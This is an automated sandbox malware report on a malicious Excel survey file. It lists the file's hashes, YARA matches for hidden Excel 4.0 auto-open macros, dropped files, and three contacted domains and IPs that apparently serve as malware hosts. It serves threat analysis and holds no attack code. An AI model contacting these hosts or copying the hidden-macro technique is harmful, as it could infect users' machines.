                                                                                                                                        https://api.powerbi.com/beta/myorg/importsCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                          high
                                                                                                                                          https://devnull.onenote.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                            high
                                                                                                                                            https://ncus.pagecontentsync.CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                            • URL Reputation: safe
                                                                                                                                            unknown
                                                                                                                                            https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.jsonCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                              high
                                                                                                                                              https://messaging.office.com/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                high
                                                                                                                                                https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFileCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                  high
                                                                                                                                                  https://augloop.office.com/v2CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                    high
                                                                                                                                                    https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=BingCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                      high
                                                                                                                                                      https://skyapi.live.net/Activity/CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                      • URL Reputation: safe
                                                                                                                                                      unknown
                                                                                                                                                      https://clients.config.office.net/user/v1.0/macCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                        high
                                                                                                                                                        https://dataservice.o365filtering.comCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        unknown
                                                                                                                                                        https://api.cortana.aiCBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drfalse
                                                                                                                                                        • URL Reputation: safe
                                                                                                                                                        unknown

                                                                                                                                                        Contacted IPs

                                                                                                                                                        • No. of IPs < 25%
                                                                                                                                                        • 25% < No. of IPs < 50%
                                                                                                                                                        • 50% < No. of IPs < 75%
                                                                                                                                                        • 75% < No. of IPs

                                                                                                                                                        Public

                                                                                                                                                        IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                                        192.185.129.7
                                                                                                                                                        srkcampus.orgUnited States
                                                                                                                                                        46606UNIFIEDLAYER-AS-1USfalse
                                                                                                                                                        192.185.79.2
                                                                                                                                                        klevvrtech.comUnited States
                                                                                                                                                        46606UNIFIEDLAYER-AS-1USfalse
                                                                                                                                                        103.247.11.218
                                                                                                                                                        rstebet.co.idIndonesia
                                                                                                                                                        58487RUMAHWEB-AS-IDRumahwebIndonesiaCVIDfalse

                                                                                                                                                        General Information

                                                                                                                                                        Joe Sandbox Version:34.0.0 Boulder Opal
                                                                                                                                                        Analysis ID:528587
                                                                                                                                                        Start date:25.11.2021
                                                                                                                                                        Start time:14:37:49
                                                                                                                                                        Joe Sandbox Product:CloudBasic
                                                                                                                                                        Overall analysis duration:0h 5m 55s
                                                                                                                                                        Hypervisor based Inspection enabled:false
                                                                                                                                                        Report type:light
                                                                                                                                                        Sample file name:survey-1384723731.xls
                                                                                                                                                        Cookbook file name:defaultwindowsofficecookbook.jbs
                                                                                                                                                        Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                                                                                                                        Run name:Potential for more IOCs and behavior
                                                                                                                                                        Number of analysed new started processes analysed:34
                                                                                                                                                        Number of new started drivers analysed:0
                                                                                                                                                        Number of existing processes analysed:0
                                                                                                                                                        Number of existing drivers analysed:0
                                                                                                                                                        Number of injected processes analysed:0
                                                                                                                                                        Technologies:
                                                                                                                                                        • HCA enabled
                                                                                                                                                        • EGA enabled
                                                                                                                                                        • HDC enabled
                                                                                                                                                        • AMSI enabled
                                                                                                                                                        Analysis Mode:default
                                                                                                                                                        Analysis stop reason:Timeout
                                                                                                                                                        Detection:MAL
                                                                                                                                                        Classification:mal72.expl.winXLS@7/5@3/3
                                                                                                                                                        EGA Information:Failed
                                                                                                                                                        HDC Information:Failed
                                                                                                                                                        HCA Information:
                                                                                                                                                        • Successful, ratio: 100%
                                                                                                                                                        • Number of executed functions: 0
                                                                                                                                                        • Number of non-executed functions: 0
                                                                                                                                                        Cookbook Comments:
                                                                                                                                                        • Adjust boot time
                                                                                                                                                        • Enable AMSI
                                                                                                                                                        • Found application associated with file extension: .xls
                                                                                                                                                        • Found Word or Excel or PowerPoint or XPS Viewer
                                                                                                                                                        • Attach to Office via COM
                                                                                                                                                        • Scroll down
                                                                                                                                                        • Close Viewer
                                                                                                                                                        Warnings:
                                                                                                                                                        Show All
                                                                                                                                                        • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, HxTsr.exe, RuntimeBroker.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
                                                                                                                                                        • Excluded IPs from analysis (whitelisted): 131.253.33.200, 13.107.22.200, 23.35.237.194, 52.109.88.177, 52.109.12.23, 52.109.8.24
                                                                                                                                                        • Excluded domains from analysis (whitelisted): www.bing.com, storeedgefd.dsx.mp.microsoft.com.edgekey.net.globalredir.akadns.net, client.wns.windows.com, fs.microsoft.com, prod-w.nexus.live.com.akadns.net, prod.configsvc1.live.com.akadns.net, ctldl.windowsupdate.com, storeedgefd.dsx.mp.microsoft.com.edgekey.net, arc.msn.com, storeedgefd.xbetservices.akadns.net, ris.api.iris.microsoft.com, dual-a-0001.dc-msedge.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, config.officeapps.live.com, www-bing-com.dual-a-0001.a-msedge.net, nexus.officeapps.live.com, displaycatalog.mp.microsoft.com, e16646.dscg.akamaiedge.net, officeclient.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, europe.configsvc1.live.com.akadns.net, storeedgefd.dsx.mp.microsoft.com
                                                                                                                                                        • Not all processes where analyzed, report is missing behavior information

                                                                                                                                                        Simulations

                                                                                                                                                        Behavior and APIs

                                                                                                                                                        No simulations

                                                                                                                                                        Joe Sandbox View / Context

                                                                                                                                                        IPs

                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                        192.185.129.7survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                          survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                            survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                              doc-904268081.xlsGet hashmaliciousBrowse
                                                                                                                                                                doc-904268081.xlsGet hashmaliciousBrowse
                                                                                                                                                                  http://ibaylor.psatrans.com/cmlja3lfc293ZWxsQGJheWxvci5lZHU=Get hashmaliciousBrowse
                                                                                                                                                                    https://digitek.global/cinetraGet hashmaliciousBrowse
                                                                                                                                                                      192.185.79.2survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                        survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                          survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                            103.247.11.218survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                              survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                survey-1378794827.xlsGet hashmaliciousBrowse

                                                                                                                                                                                  Domains

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                  srkcampus.orgsurvey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  rstebet.co.idsurvey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  klevvrtech.comsurvey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2

                                                                                                                                                                                  ASN

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                  UNIFIEDLAYER-AS-1USsurvey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  QUOTATION REQUEST DOCUMENTS - GOTO TRADING.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.240.9.164
                                                                                                                                                                                  SecuriteInfo.com.VHO.Trojan-PSW.MSIL.Stealer.gen.30557.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.84.191
                                                                                                                                                                                  Swift Copy TT.docGet hashmaliciousBrowse
                                                                                                                                                                                  • 50.116.86.94
                                                                                                                                                                                  8M5ZqXSa28.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.44
                                                                                                                                                                                  Change Order - Draw #3 .htmGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.214.66.227
                                                                                                                                                                                  new-1834138397.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  new-1834138397.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  new-1179494065.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  Hsbc swift.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.232.249.14
                                                                                                                                                                                  new-1179494065.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  microcomputer Official Order.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.84.191
                                                                                                                                                                                  Arrival Notice, CIA Awb Inv Form.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 70.40.220.123
                                                                                                                                                                                  t 2021.HtMLGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.43
                                                                                                                                                                                  New Order778880.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.167.112
                                                                                                                                                                                  IyRUJT27dd.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.113.96
                                                                                                                                                                                  LlDlHiVEJQ.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.241.24.173
                                                                                                                                                                                  bomba.armGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.144.165.114
                                                                                                                                                                                  UNIFIEDLAYER-AS-1USsurvey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1384723731.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  QUOTATION REQUEST DOCUMENTS - GOTO TRADING.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.240.9.164
                                                                                                                                                                                  SecuriteInfo.com.VHO.Trojan-PSW.MSIL.Stealer.gen.30557.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.84.191
                                                                                                                                                                                  Swift Copy TT.docGet hashmaliciousBrowse
                                                                                                                                                                                  • 50.116.86.94
                                                                                                                                                                                  8M5ZqXSa28.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.44
                                                                                                                                                                                  Change Order - Draw #3 .htmGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.214.66.227
                                                                                                                                                                                  new-1834138397.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  new-1834138397.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  new-1179494065.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  Hsbc swift.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.232.249.14
                                                                                                                                                                                  new-1179494065.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 108.179.253.213
                                                                                                                                                                                  microcomputer Official Order.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.84.191
                                                                                                                                                                                  Arrival Notice, CIA Awb Inv Form.pdf.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 70.40.220.123
                                                                                                                                                                                  t 2021.HtMLGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.43
                                                                                                                                                                                  New Order778880.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.167.112
                                                                                                                                                                                  IyRUJT27dd.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.113.96
                                                                                                                                                                                  LlDlHiVEJQ.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.241.24.173
                                                                                                                                                                                  bomba.armGet hashmaliciousBrowse
                                                                                                                                                                                  • 162.144.165.114

                                                                                                                                                                                  JA3 Fingerprints

                                                                                                                                                                                  MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                                                                                                  37f463bf4616ecd445d4a1937da06e19survey-1378794827.xlsGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  Zr26f1rL6r.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  mN2NobuuDv.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  cs.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  ORDINE + DDT A.M.F SpA.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  mal1.htmlGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  5A15ECE1649A5EF54B70B95D9D413BAD068B8C1C932E2.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  DOC5629.htmGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  Racun je u prilogu.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  exe.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  INF-BRdocsx.NDVDELDKRS.msiGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  2GEg45PlG9.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  cJ2wN3RKmh.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  J73PTzDghy.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  fkYZ7hyvnD.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  xzmHphquAP.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  R0xLHA2mT5.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  Rats4dIOmA.exeGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  XP-SN-7843884.htmGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2
                                                                                                                                                                                  XP-SN-8324655.htmGet hashmaliciousBrowse
                                                                                                                                                                                  • 192.185.129.7
                                                                                                                                                                                  • 103.247.11.218
                                                                                                                                                                                  • 192.185.79.2

                                                                                                                                                                                  Dropped Files

                                                                                                                                                                                  No context

                                                                                                                                                                                  Created / dropped Files

                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\CBFF3701-7631-452C-BE3A-4FA719E7E49C
                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  File Type:XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):140193
                                                                                                                                                                                  Entropy (8bit):5.357963868362959
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:1536:PcQIfgxrBdA3gBwtnQ9DQW+z2k4Ff7nXbovidXiE6LWmE9:9uQ9DQW+zYXfH
                                                                                                                                                                                  MD5:B37D538FB87E99D3C842C02D4654B35A
                                                                                                                                                                                  SHA1:56D53C725C480F9B4B63DB81267030D1683EA7D2
                                                                                                                                                                                  SHA-256:9D1B82A0DA29CF46510A1D28DFD569C370F5A4EDFA8867BF748B91F0F3A1429A
                                                                                                                                                                                  SHA-512:298997BCB1F069686E774DB31DF61378BF8742BDBB57AC494956FE1608C12A31EEC946880B68B95D3FECB1C19544530733AD3D8C869E74E18F829DE24FC2D375
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                  Preview: <?xml version="1.0" encoding="utf-8"?>..<o:OfficeConfig xmlns:o="urn:schemas-microsoft-com:office:office">.. <o:services o:GenerationTime="2021-11-25T13:38:50">.. Build: 16.0.14715.30527-->.. <o:default>.. <o:ticket o:headerName="Authorization" o:headerValue="{}" />.. </o:default>.. <o:service o:name="Research">.. <o:url>https://rr.office.microsoft.com/research/query.asmx</o:url>.. </o:service>.. <o:service o:name="ORedir">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ORedirSSL">.. <o:url>https://o15.officeredir.microsoft.com/r</o:url>.. </o:service>.. <o:service o:name="ClViewClientHelpId">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientHome">.. <o:url>https://[MAX.BaseHost]/client/results</o:url>.. </o:service>.. <o:service o:name="ClViewClientTemplate">.. <o:url>https://ocsa.office.microsoft.com/client/15/help/template</o:url>.. </o:service>.. <o:
                                                                                                                                                                                  C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\DB32F834.tmp
                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):1536
                                                                                                                                                                                  Entropy (8bit):1.1464700112623651
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3:YmsalTlLPltl2N81HRQjlORGt7RQ//W1XR9//3R9//3R9//:rl912N0xs+CFQXCB9Xh9Xh9X
                                                                                                                                                                                  MD5:72F5C05B7EA8DD6059BF59F50B22DF33
                                                                                                                                                                                  SHA1:D5AF52E129E15E3A34772806F6C5FBF132E7408E
                                                                                                                                                                                  SHA-256:1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
                                                                                                                                                                                  SHA-512:6FF1E2E6B99BD0A4ED7CA8A9E943551BCD73A0BEFCACE6F1B1106E88595C0846C9BB76CA99A33266FFEC2440CF6A440090F803ABBF28B208A6C7BC6310BEB39E
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Reputation:moderate, very likely benign file
                                                                                                                                                                                  Preview: ......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\~DF914C0A2C8AFAF4B5.TMP
                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  File Type:data
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):512
                                                                                                                                                                                  Entropy (8bit):0.0
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:3::
                                                                                                                                                                                  MD5:BF619EAC0CDF3F68D496EA9344137E8B
                                                                                                                                                                                  SHA1:5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
                                                                                                                                                                                  SHA-256:076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
                                                                                                                                                                                  SHA-512:DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Reputation:high, very likely benign file
                                                                                                                                                                                  Preview: ................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                  C:\Users\user\AppData\Local\Temp\~DFD6AFEF8B4ED1CD1D.TMP
                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  File Type:data
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):28672
                                                                                                                                                                                  Entropy (8bit):3.3100892371412223
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:768:fkmKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgAWuImuZA:fTKpb8rGYrMPe3q7Q0XV5xtezEsi8/d1
                                                                                                                                                                                  MD5:157459EB51AB5D76B7402DF2B308DA16
                                                                                                                                                                                  SHA1:1C201051D9A0EDF6F02864DF580EEA73321062B2
                                                                                                                                                                                  SHA-256:530E756CEBDD27239DC2E266B3E02386B4302906C47978D4D518E902AC60A5B6
                                                                                                                                                                                  SHA-512:D38FD54110236617E2627F9736B39BAB0E860589B48511C446C5399DC5CB53F1BF4D80E8358456379982C0FCEFFC5FC9C33BBCE0E184F1DDF93BF5C2A36855FF
                                                                                                                                                                                  Malicious:false
                                                                                                                                                                                  Reputation:low
                                                                                                                                                                                  Preview: ........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                                  C:\Users\user\Desktop\survey-1384723731.xls
                                                                                                                                                                                  Process:C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE
                                                                                                                                                                                  File Type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu Nov 25 10:07:14 2021, Security: 0
                                                                                                                                                                                  Category:dropped
                                                                                                                                                                                  Size (bytes):252928
                                                                                                                                                                                  Entropy (8bit):7.241405801108652
                                                                                                                                                                                  Encrypted:false
                                                                                                                                                                                  SSDEEP:6144:+Kpb8rGYrMPe3q7Q0XV5xtuEsi8/dgBcfFw6lxFT7kFWqOSMQ6HujLmH98DU9:aFrlxFTMrvbiFd8Dk
                                                                                                                                                                                  MD5:F593EA322D2340AA7BF0400D2BF1F7A3
                                                                                                                                                                                  SHA1:E63DF367072F6FD0935CDFDB3F5BC0F63130BAE3
                                                                                                                                                                                  SHA-256:019217D2F0EFF01EEB36E7F9F567875E3BAB8577CA9F9F7C6DC6656A6274646B
                                                                                                                                                                                  SHA-512:A41FF05862A91B2FBB13A76EEDB5AFBC10FA83807C885BFC2FC13676DA31C06BB6D209FAA71A31DD19A27113E04EB51619582A29D0AAC7079A769F36A64C3C72
                                                                                                                                                                                  Malicious:true
                                                                                                                                                                                  Yara Hits:
                                                                                                                                                                                  • Rule: SUSP_Excel4Macro_AutoOpen, Description: Detects Excel4 macro use with auto open / close, Source: C:\Users\user\Desktop\survey-1384723731.xls, Author: John Lambert @JohnLaTwC
                                                                                                                                                                                  • Rule: JoeSecurity_HiddenMacro, Description: Yara detected hidden Macro 4.0 in Excel, Source: C:\Users\user\Desktop\survey-1384723731.xls, Author: Joe Security
                                                                                                                                                                                  Preview: ......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....pratesh.=. B.....a.........=...................................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.

                                                                                                                                                                                  Static File Info

                                                                                                                                                                                  General

                                                                                                                                                                                  File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu Nov 25 10:07:14 2021, Security: 0
                                                                                                                                                                                  Entropy (8bit):7.241391186014771
                                                                                                                                                                                  TrID:
                                                                                                                                                                                  • Microsoft Excel sheet (30009/1) 78.94%
                                                                                                                                                                                  • Generic OLE2 / Multistream Compound File (8008/1) 21.06%
                                                                                                                                                                                  File name:survey-1384723731.xls
                                                                                                                                                                                  File size:252928
                                                                                                                                                                                  MD5:00bec62d14bc9f8a32948f2c6c512a8f
                                                                                                                                                                                  SHA1:d2ef80f029f8f035947f1bc6f5929d225374dda4
                                                                                                                                                                                  SHA256:59d14a53849a19d0dd5ccaf63a85955adbd313c9ec7d92422c0fcdda357b8ce0
                                                                                                                                                                                  SHA512:34b785ff2f6b964c1285db744a04c62d2b2ef522ced03d0f4896e1a4cc7adf8384167c733b9f2d94ed43bdf6f50ed290e0fe73b7c0942b375d2246a3f65f93dd
                                                                                                                                                                                  SSDEEP:6144:MKpb8rGYrMPe3q7Q0XV5xtuEsi8/dgBcfFw6lxFT7kFWqOSMQ6HujLmH98DUC:kFrlxFTMrvbiFd8Dr
                                                                                                                                                                                  File Content Preview:........................>......................................................................................................................................................................................................................................

                                                                                                                                                                                  File Icon

                                                                                                                                                                                  Icon Hash:74ecd4c6c3c6c4d8

                                                                                                                                                                                  Static OLE Info

                                                                                                                                                                                  General

                                                                                                                                                                                  Document Type:OLE
                                                                                                                                                                                  Number of OLE Files:1

                                                                                                                                                                                  OLE File "survey-1384723731.xls"

                                                                                                                                                                                  Indicators

                                                                                                                                                                                  Has Summary Info:True
                                                                                                                                                                                  Application Name:Microsoft Excel
                                                                                                                                                                                  Encrypted Document:False
                                                                                                                                                                                  Contains Word Document Stream:False
                                                                                                                                                                                  Contains Workbook/Book Stream:True
                                                                                                                                                                                  Contains PowerPoint Document Stream:False
                                                                                                                                                                                  Contains Visio Document Stream:False
                                                                                                                                                                                  Contains ObjectPool Stream:
                                                                                                                                                                                  Flash Objects Count:
                                                                                                                                                                                  Contains VBA Macros:True

                                                                                                                                                                                  Summary

                                                                                                                                                                                  Code Page:1251
                                                                                                                                                                                  Author:
                                                                                                                                                                                  Last Saved By:
                                                                                                                                                                                  Create Time:2015-06-05 18:19:34
                                                                                                                                                                                  Last Saved Time:2021-11-25 10:07:14
                                                                                                                                                                                  Creating Application:Microsoft Excel
                                                                                                                                                                                  Security:0

                                                                                                                                                                                  Document Summary

                                                                                                                                                                                  Document Code Page:1251
                                                                                                                                                                                  Thumbnail Scaling Desired:False
                                                                                                                                                                                  Company:
                                                                                                                                                                                  Contains Dirty Links:False
                                                                                                                                                                                  Shared Document:False
                                                                                                                                                                                  Changed Hyperlinks:False
                                                                                                                                                                                  Application Version:1048576

                                                                                                                                                                                  Streams

                                                                                                                                                                                  Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096
                                                                                                                                                                                  General
